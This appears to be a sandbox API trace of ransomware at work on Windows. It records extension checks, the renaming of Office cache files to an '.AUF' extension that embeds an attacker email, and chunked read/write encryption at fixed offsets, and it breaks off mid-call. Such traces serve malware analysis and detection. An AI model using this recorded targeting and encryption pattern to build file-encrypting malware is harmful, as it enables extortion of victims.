[0214.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0214.910] lstrlenW (lpString=".doc") returned 4 [0214.910] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0214.910] lstrlenW (lpString=".docx") returned 5 [0214.910] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0214.910] lstrlenW (lpString=".pdf") returned 4 [0214.910] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0214.910] lstrlenW (lpString=".xls") returned 4 [0214.910] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0214.910] lstrlenW (lpString=".xlsx") returned 5 [0214.910] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0214.910] lstrlenW (lpString=".ppt") returned 4 [0214.910] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0214.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0214.910] lstrlenW (lpString=".zip") returned 4 [0214.910] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.910] lstrlenW (lpString=".rar") returned 4 [0214.910] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.910] lstrlenW (lpString=".bz2") returned 4 [0214.910] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.910] lstrlenW (lpString=".7z") returned 3 [0214.910] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0214.910] lstrlenW (lpString=".dbf") returned 4 [0214.910] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0214.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0214.910] lstrlenW (lpString=".1cd") returned 4 [0214.910] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.910] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0214.910] lstrlenW (lpString=".jpg") returned 4 [0214.910] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.910] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0214.910] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0214.910] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0214.911] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=162970271) returned 1 [0214.911] CloseHandle (hObject=0x204) returned 1 [0214.911] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0214.911] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.911] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0214.911] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0214.911] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0214.911] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.911] ReadFile (in: hFile=0x204, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.980] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.980] ReadFile (in: hFile=0x204, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.072] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0215.072] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0215.072] ReadFile (in: hFile=0x204, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.099] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.099] WriteFile (in: hFile=0x204, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0215.113] SetEndOfFile (hFile=0x204) returned 1 [0215.113] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0215.113] WriteFile (in: hFile=0x204, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.114] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0215.114] WriteFile (in: hFile=0x204, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.116] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0215.116] WriteFile (in: hFile=0x204, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.118] CloseHandle (hObject=0x204) returned 1 [0215.118] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0215.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0215.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0215.118] lstrlenW (lpString=".doc") returned 4 [0215.118] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0215.118] lstrlenW (lpString=".docx") returned 5 [0215.118] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0215.118] lstrlenW (lpString=".pdf") returned 4 [0215.118] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0215.118] lstrlenW (lpString=".xls") returned 4 [0215.118] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0215.118] lstrlenW (lpString=".xlsx") returned 5 [0215.118] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0215.118] lstrlenW (lpString=".ppt") returned 4 [0215.118] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0215.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0215.118] lstrlenW (lpString=".zip") returned 4 [0215.118] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0215.118] lstrlenW (lpString=".rar") returned 4 [0215.118] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0215.118] lstrlenW (lpString=".bz2") returned 4 [0215.118] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0215.118] lstrlenW (lpString=".7z") returned 3 [0215.118] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0215.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0215.118] lstrlenW (lpString=".dbf") returned 4 [0215.118] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0215.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0215.118] lstrlenW (lpString=".1cd") returned 4 [0215.118] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0215.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0215.118] lstrlenW (lpString=".jpg") returned 4 [0215.118] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0215.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0215.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0215.119] lstrlenW (lpString=".doc") returned 4 [0215.119] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0215.119] lstrlenW (lpString=".docx") returned 5 [0215.119] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0215.119] lstrlenW (lpString=".pdf") returned 4 [0215.119] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0215.119] lstrlenW (lpString=".xls") returned 4 [0215.119] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0215.119] lstrlenW (lpString=".xlsx") returned 5 [0215.119] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0215.119] lstrlenW (lpString=".ppt") returned 4 [0215.119] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0215.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0215.119] lstrlenW (lpString=".zip") returned 4 [0215.119] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0215.119] lstrlenW (lpString=".rar") returned 4 [0215.119] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0215.119] lstrlenW (lpString=".bz2") returned 4 [0215.119] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0215.119] lstrlenW (lpString=".7z") returned 3 [0215.119] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0215.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0215.119] lstrlenW (lpString=".dbf") returned 4 [0215.119] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0215.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0215.119] lstrlenW (lpString=".1cd") returned 4 [0215.119] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0215.119] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab") returned 75 [0215.119] lstrlenW (lpString=".jpg") returned 4 [0215.119] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0215.119] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0215.119] lstrlenW (lpString="osetup.dll") returned 10 [0215.119] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0215.216] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=7378792) returned 1 [0215.216] CloseHandle (hObject=0x210) returned 1 [0215.217] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0215.217] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0215.217] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0215.217] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0215.217] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0215.217] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0215.217] ReadFile (in: hFile=0x210, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.251] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0215.251] ReadFile (in: hFile=0x210, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.370] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0215.370] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0215.370] ReadFile (in: hFile=0x210, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.430] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.430] WriteFile (in: hFile=0x210, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2e5fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0215.559] SetEndOfFile (hFile=0x210) returned 1 [0215.559] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0215.559] WriteFile (in: hFile=0x210, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.560] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0215.560] WriteFile (in: hFile=0x210, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.562] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc7c | out: lpNewFilePointer=0x0) returned 1 [0215.562] WriteFile (in: hFile=0x210, lpBuffer=0x4330048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e5fc88, lpOverlapped=0x0 | out: lpBuffer=0x4330048*, lpNumberOfBytesWritten=0x2e5fc88*=0x40000, lpOverlapped=0x0) returned 1 [0215.563] CloseHandle (hObject=0x210) returned 1 [0215.563] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0215.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0215.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0215.564] lstrlenW (lpString=".doc") returned 4 [0215.564] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0215.564] lstrlenW (lpString=".docx") returned 5 [0215.564] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0215.564] lstrlenW (lpString=".pdf") returned 4 [0215.564] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0215.564] lstrlenW (lpString=".xls") returned 4 [0215.564] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0215.564] lstrlenW (lpString=".xlsx") returned 5 [0215.564] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0215.564] lstrlenW (lpString=".ppt") returned 4 [0215.564] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0215.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0215.564] lstrlenW (lpString=".zip") returned 4 [0215.564] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0215.564] lstrlenW (lpString=".rar") returned 4 [0215.564] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0215.564] lstrlenW (lpString=".bz2") returned 4 [0215.564] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0215.564] lstrlenW (lpString=".7z") returned 3 [0215.564] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0215.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0215.564] lstrlenW (lpString=".dbf") returned 4 [0215.564] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0215.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0215.564] lstrlenW (lpString=".1cd") returned 4 [0215.564] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0215.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0215.564] lstrlenW (lpString=".jpg") returned 4 [0215.564] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0215.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0215.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0215.564] lstrlenW (lpString=".doc") returned 4 [0215.564] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0215.564] lstrlenW (lpString=".docx") returned 5 [0215.565] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0215.565] lstrlenW (lpString=".pdf") returned 4 [0215.565] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0215.565] lstrlenW (lpString=".xls") returned 4 [0215.565] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0215.565] lstrlenW (lpString=".xlsx") returned 5 [0215.565] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0215.565] lstrlenW (lpString=".ppt") returned 4 [0215.565] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0215.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0215.565] lstrlenW (lpString=".zip") returned 4 [0215.565] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0215.565] lstrlenW (lpString=".rar") returned 4 [0215.565] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0215.565] lstrlenW (lpString=".bz2") returned 4 [0215.565] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0215.565] lstrlenW (lpString=".7z") returned 3 [0215.565] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0215.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0215.565] lstrlenW (lpString=".dbf") returned 4 [0215.565] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0215.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0215.565] lstrlenW (lpString=".1cd") returned 4 [0215.565] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0215.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0215.565] lstrlenW (lpString=".jpg") returned 4 [0215.565] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0215.565] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0215.565] lstrlenW (lpString="VisiorWW.msi") returned 12 [0215.565] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0215.565] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=12060672) returned 1 [0215.566] CloseHandle (hObject=0x210) returned 1 [0215.566] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0215.566] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0215.566] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0215.566] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0215.566] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc6c | out: lpNewFilePointer=0x0) returned 1 [0215.566] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0215.566] ReadFile (in: hFile=0x210, lpBuffer=0x3a10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a10058*, lpNumberOfBytesRead=0x2e5fc38*=0x40000, lpOverlapped=0x0) returned 1 [0215.706] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fc2c | out: lpNewFilePointer=0x0) returned 1 [0215.706] ReadFile (in: hFile=0x210, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e5fc38, lpOverlapped=0x0 